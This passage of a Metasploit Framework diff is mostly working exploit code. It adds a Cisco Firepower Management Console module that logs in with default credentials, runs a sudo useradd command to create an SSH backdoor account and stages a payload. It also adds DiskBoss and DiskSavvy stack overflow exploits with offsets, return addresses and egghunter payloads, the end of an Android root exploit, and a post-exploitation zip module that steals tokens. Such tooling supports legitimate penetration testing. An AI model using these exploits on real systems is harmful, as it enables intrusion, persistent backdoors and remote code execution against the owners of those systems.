remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
write_file(remote_file, exploit_data)
|
||||
|
||||
put_local_file(exploitfile)
|
||||
cmd_exec('/system/bin/chmod 700 ' + exploitfile)
|
||||
write_file(payloadfile, payload.raw)
|
||||
|
||||
tmpdir = datastore['WritableDir']
|
||||
rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
rootpayload = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}.jar"
|
||||
|
||||
rootcmd = " mkdir #{rootclassdir} && "
|
||||
rootcmd += "cd #{rootclassdir} && "
|
||||
rootcmd += "cp " + payloadfile + " #{rootpayload} && "
|
||||
rootcmd += "chmod 766 #{rootpayload} && "
|
||||
rootcmd += "dalvikvm -Xbootclasspath:/system/framework/core.jar -cp #{rootpayload} com.metasploit.stage.Payload"
|
||||
|
||||
process = session.sys.process.execute(exploitfile, rootcmd, {'Hidden' => true, 'Channelized' => true})
|
||||
process.channel.read
|
||||
print_status("Loading exploit library #{remote_file}")
|
||||
session.core.load_library(
|
||||
'LibraryFilePath' => local_file,
|
||||
'TargetFilePath' => remote_file,
|
||||
'UploadLibrary' => false,
|
||||
'Extension' => false,
|
||||
'SaveToDisk' => false
|
||||
)
|
||||
print_status("Loaded library #{remote_file}, deleting")
|
||||
session.fs.file.rm(remote_file)
|
||||
print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,294 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::SSH
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Cisco Firepower Management Console.
|
||||
The management system contains a configuration flaw that allows the www user to
|
||||
execute the useradd binary, which can be abused to create backdoor accounts.
|
||||
Authentication is required to exploit this vulnerability.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Matt', # Original discovery & PoC
|
||||
'sinn3r' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-6433' ],
|
||||
[ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ]
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Oct 10 2016',
|
||||
'CmdStagerFlavor'=> %w{ echo },
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => 'true',
|
||||
'SSLVersion' => 'Auto',
|
||||
'RPORT' => 443
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
# admin:Admin123 is the default credential for 6.0.1
|
||||
OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),
|
||||
OptString.new('NEWSSHUSER', [false, 'New backdoor username (Default: Random)']),
|
||||
OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']),
|
||||
OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),
|
||||
OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console\'s SSH port', 22])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
# For this exploit to work, we need to check two services:
|
||||
# * HTTP - To create the backdoor account for SSH
|
||||
# * SSH - To execute our payload
|
||||
|
||||
vprint_status('Checking Cisco Firepower Management console...')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/img/favicon.png?v=6.0.1-1213')
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
vprint_status("Console is found.")
|
||||
vprint_status("Checking SSH service.")
|
||||
begin
|
||||
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
Net::SSH.start(rhost, 'admin',
|
||||
port: datastore['SSHPORT'],
|
||||
password: Rex::Text.rand_text_alpha(5),
|
||||
auth_methods: ['password'],
|
||||
non_interactive: true
|
||||
)
|
||||
end
|
||||
rescue Timeout::Error
|
||||
vprint_error('The SSH connection timed out.')
|
||||
return Exploit::CheckCode::Unknown
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
# Hey, it talked. So that means SSH is running.
|
||||
return Exploit::CheckCode::Appears
|
||||
rescue Net::SSH::Exception => e
|
||||
vprint_error(e.message)
|
||||
end
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def get_sf_action_id(sid)
|
||||
requirements = {}
|
||||
|
||||
print_status('Attempting to obtain sf_action_id from rulesimport.cgi')
|
||||
|
||||
uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => "CGISESSID=#{sid}"
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Failed to obtain rules import requirements.')
|
||||
end
|
||||
|
||||
sf_action_id = res.body.scan(/sf_action_id = '(.+)';/).flatten[1]
|
||||
|
||||
unless sf_action_id
|
||||
fail_with(Failure::Unknown, 'Unable to obtain sf_action_id from rulesimport.cgi')
|
||||
end
|
||||
|
||||
sf_action_id
|
||||
end
|
||||
|
||||
def create_ssh_backdoor(sid, user, pass)
|
||||
uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
|
||||
sf_action_id = get_sf_action_id(sid)
|
||||
sh_name = 'exploit.sh'
|
||||
|
||||
print_status("Attempting to create an SSH backdoor as #{user}:#{pass}")
|
||||
|
||||
mime_data = Rex::MIME::Message.new
|
||||
mime_data.add_part('Import', nil, nil, 'form-data; name="action_submit"')
|
||||
mime_data.add_part('file', nil, nil, 'form-data; name="source"')
|
||||
mime_data.add_part('1', nil, nil, 'form-data; name="manual_update"')
|
||||
mime_data.add_part(sf_action_id, nil, nil, 'form-data; name="sf_action_id"')
|
||||
mime_data.add_part(
|
||||
"sudo useradd -g ldapgroup -p `openssl passwd -1 #{pass}` #{user}; rm /var/sf/SRU/#{sh_name}",
|
||||
'application/octet-stream',
|
||||
nil,
|
||||
"form-data; name=\"file\"; filename=\"#{sh_name}\""
|
||||
)
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => "CGISESSID=#{sid}",
|
||||
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
|
||||
'data' => mime_data.to_s,
|
||||
'vars_get' => { 'no_mojo' => '1' },
|
||||
})
|
||||
end
|
||||
|
||||
def generate_new_username
|
||||
datastore['NEWSSHUSER'] || Rex::Text.rand_text_alpha(5)
|
||||
end
|
||||
|
||||
def generate_new_password
|
||||
datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5)
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: 'cisco',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def do_login
|
||||
console_user = datastore['USERNAME']
|
||||
console_pass = datastore['PASSWORD']
|
||||
uri = normalize_uri(target_uri.path, 'login.cgi')
|
||||
|
||||
print_status("Attempting to login in as #{console_user}:#{console_pass}")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_post' => {
|
||||
'username' => console_user,
|
||||
'password' => console_pass,
|
||||
'target' => ''
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while trying to log in.')
|
||||
end
|
||||
|
||||
res_cookie = res.get_cookies
|
||||
if res.code == 302 && res_cookie.include?('CGISESSID')
|
||||
cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first
|
||||
print_status("CGI Session ID: #{cgi_sid}")
|
||||
print_good("Authenticated as #{console_user}:#{console_pass}")
|
||||
report_cred(username: console_user, password: console_pass)
|
||||
return cgi_sid
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
@first_exec = true
|
||||
cmd.gsub!(/\/tmp/, '/usr/tmp')
|
||||
|
||||
# Weird hack for the cmd stager.
|
||||
# Because it keeps using > to write the payload.
|
||||
if @first_exec
|
||||
@first_exec = false
|
||||
else
|
||||
cmd.gsub!(/>>/, ' > ')
|
||||
end
|
||||
|
||||
begin
|
||||
Timeout.timeout(3) do
|
||||
@ssh_socket.exec!("#{cmd}\n")
|
||||
vprint_status("Executing #{cmd}")
|
||||
end
|
||||
rescue Timeout::Error
|
||||
fail_with(Failure::Unknown, 'SSH command timed out')
|
||||
rescue Net::SSH::ChannelOpenFailed
|
||||
print_status('Trying again due to Net::SSH::ChannelOpenFailed (sometimes this happens)')
|
||||
retry
|
||||
end
|
||||
end
|
||||
|
||||
def init_ssh_session(user, pass)
|
||||
print_status("Attempting to log into SSH as #{user}:#{pass}")
|
||||
|
||||
factory = ssh_socket_factory
|
||||
opts = {
|
||||
auth_methods: ['password', 'keyboard-interactive'],
|
||||
port: datastore['SSHPORT'],
|
||||
use_agent: false,
|
||||
config: false,
|
||||
password: pass,
|
||||
proxy: factory,
|
||||
non_interactive: true
|
||||
}
|
||||
|
||||
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
begin
|
||||
ssh = nil
|
||||
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
@ssh_socket = Net::SSH.start(rhost, user, opts)
|
||||
end
|
||||
rescue Net::SSH::Exception => e
|
||||
fail_with(Failure::Unknown, e.message)
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
# To exploit the useradd vuln, we need to login first.
|
||||
sid = do_login
|
||||
return unless sid
|
||||
|
||||
# After login, we can call the useradd utility to create a backdoor user
|
||||
new_user = generate_new_username
|
||||
new_pass = generate_new_password
|
||||
create_ssh_backdoor(sid, new_user, new_pass)
|
||||
|
||||
# Log into the SSH backdoor account
|
||||
init_ssh_session(new_user, new_pass)
|
||||
|
||||
begin
|
||||
execute_cmdstager({:linemax => 500})
|
||||
ensure
|
||||
@ssh_socket.close
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,131 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Seh
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DiskBoss Enterprise GET Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow vulnerability
|
||||
in the web interface of DiskBoss Enterprise v7.5.12 and v7.4.28,
|
||||
caused by improper bounds checking of the request path in HTTP GET
|
||||
requests sent to the built-in web server. This module has been
|
||||
tested successfully on Windows XP SP3 and Windows 7 SP1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'vportal', # Vulnerability discovery and PoC
|
||||
'Gabor Seljan' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '40869']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x09\x0a\x0d\x20",
|
||||
'Space' => 2000
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Automatic Targeting',
|
||||
{
|
||||
'auto' => true
|
||||
}
|
||||
],
|
||||
[
|
||||
'DiskBoss Enterprise v7.4.28',
|
||||
{
|
||||
'Offset' => 2471,
|
||||
'Ret' => 0x1004605c # ADD ESP,0x68 # RETN [libpal.dll]
|
||||
}
|
||||
],
|
||||
[
|
||||
'DiskBoss Enterprise v7.5.12',
|
||||
{
|
||||
'Offset' => 2471,
|
||||
'Ret' => 0x100461da # ADD ESP,0x68 # RETN [libpal.dll]
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Dec 05 2016',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/'
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
if res.body =~ /DiskBoss Enterprise v7\.(4\.28|5\.12)/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif res.body =~ /DiskBoss Enterprise/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
else
|
||||
vprint_error('Unable to determine due to a HTTP connection timeout')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
mytarget = target
|
||||
|
||||
if target['auto']
|
||||
mytarget = nil
|
||||
|
||||
print_status('Automatically detecting the target...')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/'
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
if res.body =~ /DiskBoss Enterprise v7\.4\.28/
|
||||
mytarget = targets[1]
|
||||
elsif res.body =~ /DiskBoss Enterprise v7\.5\.12/
|
||||
mytarget = targets[2]
|
||||
end
|
||||
end
|
||||
|
||||
if !mytarget
|
||||
fail_with(Failure::NoTarget, 'No matching target')
|
||||
end
|
||||
|
||||
print_status("Selected Target: #{mytarget.name}")
|
||||
end
|
||||
|
||||
sploit = make_nops(21)
|
||||
sploit << payload.encoded
|
||||
sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
|
||||
sploit << [mytarget.ret].pack('V')
|
||||
sploit << rand_text_alpha(2500)
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => sploit
|
||||
)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,150 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Seh
|
||||
include Msf::Exploit::Remote::Egghunter
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DiskSavvy Enterprise GET Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow vulnerability
|
||||
in the web interface of DiskSavvy Enterprise v9.1.14 and v9.3.14,
|
||||
caused by improper bounds checking of the request path in HTTP GET
|
||||
requests sent to the built-in web server. This module has been
|
||||
tested successfully on Windows XP SP3 and Windows 7 SP1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'vportal', # Vulnerability discovery and PoC
|
||||
'Gabor Seljan' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '40869']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x09\x0a\x0d\x20",
|
||||
'Space' => 500
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Automatic Targeting',
|
||||
{
|
||||
'auto' => true
|
||||
}
|
||||
],
|
||||
[
|
||||
'DiskSavvy Enterprise v9.1.14',
|
||||
{
|
||||
'Offset' => 542,
|
||||
'Ret' => 0x101142c0 # POP # POP # RET [libspp.dll]
|
||||
}
|
||||
],
|
||||
[
|
||||
'DiskSavvy Enterprise v9.3.14',
|
||||
{
|
||||
'Offset' => 2478,
|
||||
'Ret' => 0x101142ff # POP # POP # RET [libspp.dll]
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Dec 01 2016',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/'
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
version = res.body[/Disk Savvy Enterprise v[^<]*/]
|
||||
if version
|
||||
vprint_status("Version detected: #{version}")
|
||||
if version =~ /9\.(1|3)\.14/
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
else
|
||||
vprint_error('Unable to determine due to a HTTP connection timeout')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
mytarget = target
|
||||
|
||||
if target['auto']
|
||||
mytarget = nil
|
||||
|
||||
print_status('Automatically detecting the target...')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/'
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
if res.body =~ /Disk Savvy Enterprise v9\.1\.14/
|
||||
mytarget = targets[1]
|
||||
elsif res.body =~ /Disk Savvy Enterprise v9\.3\.14/
|
||||
mytarget = targets[2]
|
||||
end
|
||||
end
|
||||
|
||||
if !mytarget
|
||||
fail_with(Failure::NoTarget, 'No matching target')
|
||||
end
|
||||
|
||||
print_status("Selected target: #{mytarget.name}")
|
||||
end
|
||||
|
||||
eggoptions = {
|
||||
checksum: true,
|
||||
eggtag: rand_text_alpha(4, payload_badchars)
|
||||
}
|
||||
|
||||
hunter, egg = generate_egghunter(
|
||||
payload.encoded,
|
||||
payload_badchars,
|
||||
eggoptions
|
||||
)
|
||||
|
||||
sploit = make_nops(10)
|
||||
sploit << egg
|
||||
sploit << rand_text_alpha(mytarget['Offset'] - egg.length)
|
||||
sploit << generate_seh_record(mytarget.ret)
|
||||
sploit << make_nops(8)
|
||||
sploit << hunter
|
||||
sploit << rand_text_alpha(4500)
|
||||
|
||||
print_status('Sending malicious request...')
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => sploit
|
||||
)
|
||||
end
|
||||
end
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 292344
|
||||
CachedSize = 301456
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 285000
|
||||
CachedSize = 295848
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 284152
|
||||
CachedSize = 295848
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 504960
|
||||
CachedSize = 521872
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 484668
|
||||
CachedSize = 503004
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 484732
|
||||
CachedSize = 503036
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 329724
|
||||
CachedSize = 395276
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 396160
|
||||
CachedSize = 396192
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x64_mettle_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 289824
|
||||
CachedSize = 302144
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x86_mettle_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 292828
|
||||
CachedSize = 305148
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 367864
|
||||
CachedSize = 380192
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -16,7 +16,7 @@ class MetasploitModule < Msf::Post
|
|||
'Description' => %q{
|
||||
This module zips a file or a directory. On Linux, it uses the zip command.
|
||||
On Windows, it will try to use remote target's 7Zip if found. If not, it falls
|
||||
back to its own VBScript.
|
||||
back to its Windows Scripting Host.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
|
@ -39,10 +39,12 @@ class MetasploitModule < Msf::Post
|
|||
file?("#{get_program_file_path}\\7-Zip\\7z.exe")
|
||||
end
|
||||
|
||||
def vbs(dest, src)
|
||||
vbs_file = File.read(File.join(Msf::Config.data_directory, "post", "zip", "zip.vbs"))
|
||||
vbs_file << "WindowsZip \"#{src}\",\"#{dest}\""
|
||||
vbs_file
|
||||
def wsh_script(dst, src)
|
||||
script_file = File.read(File.join(Msf::Config.data_directory, "post", "zip", "zip.js"))
|
||||
src.gsub!("\\", "\\\\\\")
|
||||
dst.gsub!("\\", "\\\\\\")
|
||||
script_file << "zip(\"#{src}\",\"#{dst}\");".force_encoding("UTF-8")
|
||||
script_file
|
||||
end
|
||||
|
||||
def find_pid_by_user(username)
|
||||
|
@ -62,7 +64,7 @@ class MetasploitModule < Msf::Post
|
|||
pid = find_pid_by_user(current_user)
|
||||
|
||||
unless pid
|
||||
fail_with(Failure::Unknown, "Unable to find a PID for #{current_user} to execute .vbs")
|
||||
fail_with(Failure::Unknown, "Unable to find a PID for #{current_user} to execute WSH")
|
||||
end
|
||||
|
||||
print_status("Stealing token from PID #{pid} for #{current_user}")
|
||||
|
@ -77,21 +79,21 @@ class MetasploitModule < Msf::Post
|
|||
@token_stolen = true
|
||||
end
|
||||
|
||||
def upload_exec_vbs_zip
|
||||
def upload_exec_wsh_script_zip
|
||||
if is_system?
|
||||
unless session
|
||||
print_error('Unable to decompress with VBS technique without Meterpreter')
|
||||
print_error('Unable to compress with WSH technique without Meterpreter')
|
||||
return
|
||||
end
|
||||
|
||||
steal_token
|
||||
end
|
||||
|
||||
script = vbs(datastore['DESTINATION'], datastore['SOURCE'])
|
||||
tmp_path = "#{get_env('TEMP')}\\zip.vbs"
|
||||
print_status("VBS file uploaded to #{tmp_path}")
|
||||
write_file(tmp_path, script)
|
||||
cmd_exec("wscript.exe #{tmp_path}")
|
||||
script = wsh_script(datastore['DESTINATION'], datastore['SOURCE'])
|
||||
tmp_path = "#{get_env('TEMP')}\\zip.js"
|
||||
print_status("script file uploaded to #{tmp_path}")
|
||||
write_file(tmp_path, script.encode("UTF-16LE"))
|
||||
cmd_exec("cscript.exe #{tmp_path}")
|
||||
end
|
||||
|
||||
def do_7zip
|
||||
|
@ -110,8 +112,8 @@ class MetasploitModule < Msf::Post
|
|||
print_status("Compressing #{datastore['DESTINATION']} via 7zip")
|
||||
do_7zip
|
||||
else
|
||||
print_status("Compressing #{datastore['DESTINATION']} via VBS")
|
||||
upload_exec_vbs_zip
|
||||
print_status("Compressing #{datastore['DESTINATION']} via WSH")
|
||||
upload_exec_wsh_script_zip
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,209 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#
|
||||
# Meterpreter script for setting up a route from within a
|
||||
# Meterpreter session, without having to background the
|
||||
# current session.
|
||||
|
||||
# Default options
|
||||
session = client
|
||||
subnet = nil
|
||||
netmask = "255.255.255.0"
|
||||
print_only = false
|
||||
remove_route = false
|
||||
remove_all_routes = false
|
||||
|
||||
# Options parsing
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [false, "Help and usage"],
|
||||
"-s" => [true, "Subnet (IPv4, for example, 10.10.10.0)"],
|
||||
"-n" => [true, "Netmask (IPv4, for example, 255.255.255.0"],
|
||||
"-p" => [false, "Print active routing table. All other options are ignored"],
|
||||
"-d" => [false, "Delete the named route instead of adding it"],
|
||||
"-D" => [false, "Delete all routes (does not require a subnet)"]
|
||||
)
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
v = val.to_s.strip
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
raise Rex::Script::Completed
|
||||
when "-s"
|
||||
if v =~ /[0-9\x2e]+\x2f[0-9]{1,2}/
|
||||
subnet,cidr = v.split("\x2f")
|
||||
netmask = Rex::Socket.addr_ctoa(cidr.to_i)
|
||||
else
|
||||
subnet = v
|
||||
end
|
||||
when "-n"
|
||||
if (0..32) === v.to_i
|
||||
netmask = Rex::Socket.addr_ctoa(v.to_i)
|
||||
else
|
||||
netmask = v
|
||||
end
|
||||
when "-p"
|
||||
print_only = true
|
||||
when "-d"
|
||||
remove_route = true
|
||||
when "-D"
|
||||
remove_all_routes = true
|
||||
end
|
||||
}
|
||||
|
||||
def delete_all_routes
|
||||
if Rex::Socket::SwitchBoard.routes.size > 0
|
||||
routes = []
|
||||
Rex::Socket::SwitchBoard.each do |route|
|
||||
routes << {:subnet => route.subnet, :netmask => route.netmask}
|
||||
end
|
||||
routes.each {|route_opts| delete_route(route_opts)}
|
||||
|
||||
print_status "Deleted all routes"
|
||||
else
|
||||
print_status "No routes have been added yet"
|
||||
end
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Identical functionality to command_dispatcher/core.rb, and
|
||||
# nearly identical code
|
||||
def print_routes
|
||||
if Rex::Socket::SwitchBoard.routes.size > 0
|
||||
tbl = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Active Routing Table",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' =>
|
||||
[
|
||||
'Subnet',
|
||||
'Netmask',
|
||||
'Gateway',
|
||||
],
|
||||
'ColProps' =>
|
||||
{
|
||||
'Subnet' => { 'MaxWidth' => 17 },
|
||||
'Netmask' => { 'MaxWidth' => 17 },
|
||||
})
|
||||
ret = []
|
||||
|
||||
Rex::Socket::SwitchBoard.each { |route|
|
||||
if (route.comm.kind_of?(Msf::Session))
|
||||
gw = "Session #{route.comm.sid}"
|
||||
else
|
||||
gw = route.comm.name.split(/::/)[-1]
|
||||
end
|
||||
tbl << [ route.subnet, route.netmask, gw ]
|
||||
}
|
||||
print tbl.to_s
|
||||
else
|
||||
print_status "No routes have been added yet"
|
||||
end
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Yet another IP validator. I'm sure there's some Rex
|
||||
# function that can just do this.
|
||||
def check_ip(ip=nil)
|
||||
